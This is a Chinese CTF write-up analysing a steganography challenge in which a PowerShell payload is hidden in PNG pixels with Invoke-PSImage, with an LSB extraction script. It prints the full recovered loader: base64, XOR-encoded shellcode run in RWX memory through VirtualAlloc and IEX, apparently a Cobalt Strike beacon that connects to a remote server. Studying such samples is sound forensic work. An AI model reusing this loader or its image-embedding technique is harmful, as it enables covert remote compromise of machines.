写这篇文章的目的主要是群友给我了一道湖南省赛的一道恶意webshell隐藏到图片的题目,感觉之前没怎么遇到过,正好借助这个题目进行学习一下。
下载一下Invoke-PSImage:peewpw/Invoke-PSImage: Encodes a PowerShell script in the pixels of a PNG file and generates a oneliner to execute (github.com)
看一下脚本中怎么定义的:
This tool can either create an image with just the target data, or can embed the payload in
an existing image. When embeding, the least significant 4 bits of 2 color values (2 of RGB) in
each pixel (for as many pixels as are needed for the payload). Image quality will suffer as
a result, but it still looks decent. The image is saved as a PNG, and can be losslessly
compressed without affecting the ability to execute the payload as the data is stored in the
colors themselves. It can accept most image types as input, but output will always be a PNG
because it needs to be lossless
其实脚本已经告诉我们如何进行LSB隐写的
查看powershell脚本
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) { if ($counter -lt $payload.Length){ $paybyte1 = [math]::Floor($payload[$counter]/16) $paybyte2 = ($payload[$counter] -band 0x0f) $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) } else { $paybyte1 = ($randb[$counter%113] -band 0x0f) $paybyte2 = ($randb[($counter+1)%67] -band 0x0f) $paybyte3 = ($randb[($counter+2)%109] -band 0x0f) } $rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1 $rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2 $rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3 }
这一段其实就是LSB隐写的原理,让我们解析一下
$rgbValues
,数组长度除以3的结果作为循环次数$counter
的第一个数据为0x53,那么$paybyte1=0x53/0x10=0x05,取商其实这里也看出来我们的payload存储在G,B通道的低四位,而我们的R通道的低四位则是填充随机数
这里我们结合湖南省赛的题目进行结合分析
附件是一个PNG.exe.zip,因为可能涉及CS上线的问题,我们这里用虚拟机进行解压打开,之后利用Stegsolve看一下RGB三个颜色分量的低位隐写特征
之后看一下低位的数据
发现是有东西的,只不过没有什么特征,我们写一个脚本进行提取一下图片G,B颜色分量的低4位
from PIL import Image def solove_png(image_path): img = Image.open(image_path) width, height = img.size extract_data = bytearray() for y in range(height): for x in range(width): pixels = img.getpixel((x, y)) extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4) extract_data.append(extract_byte) return extract_data image_path = "flag.png" data = solove_png(image_path) with open('1.bin', 'wb') as f: f.write(data)
之后分析一下powershell脚本
Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDGgWS1cjGpI0hZe6GsfELrv0dMOulHAdYaPaOVU7KkUG3g9OFsSjOXFYa0X3UNWMREMuv9o41bGg8w+1tsidMV4cBM7ydEvK6WJeamCBvCN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMSEw0TGAN0Sk1HTFRQA213AxUNERgDdGx0FRcYA3dRSkdGTVcMFQ0TGAN3TFZASxgDbmJvYGlwCi4pI2/utw7TJPc4/wUOni9gVXhvdM0Qja7us+7OvcQ8A+HE4zASUN4YSM/gvJ816irBImYFBycRAxrjhPrBCgJlUBwzNQroE9+HJMM6J1h7shBlW9af64n/lwSlJtmD09JPhPgwV01SBTQyEkdN95JzlNJ8P3P+M8bgzMrdWVLJu5x0RyLX6ADvDz4STNNq49SNn9oWbjxK1ss6+lG9p+X0DM5rRczvjT22x0zZO77IZv0pMdstbnc/EnEH9Xf3lZt9Oq2a2cR6NuD9HsMjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIXEQ0REhENECNqtSHx') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }
简单审计一下,其实就是,先base解密一下,然后xor 35即可
得到服务器的IP,端口可以猜测是80,8080,443
Invoke-PSImage利用分析 - 知乎 (zhihu.com)
[【网络安全】红蓝攻防:shellcode的分析_IT老涵的博客-CSDN博客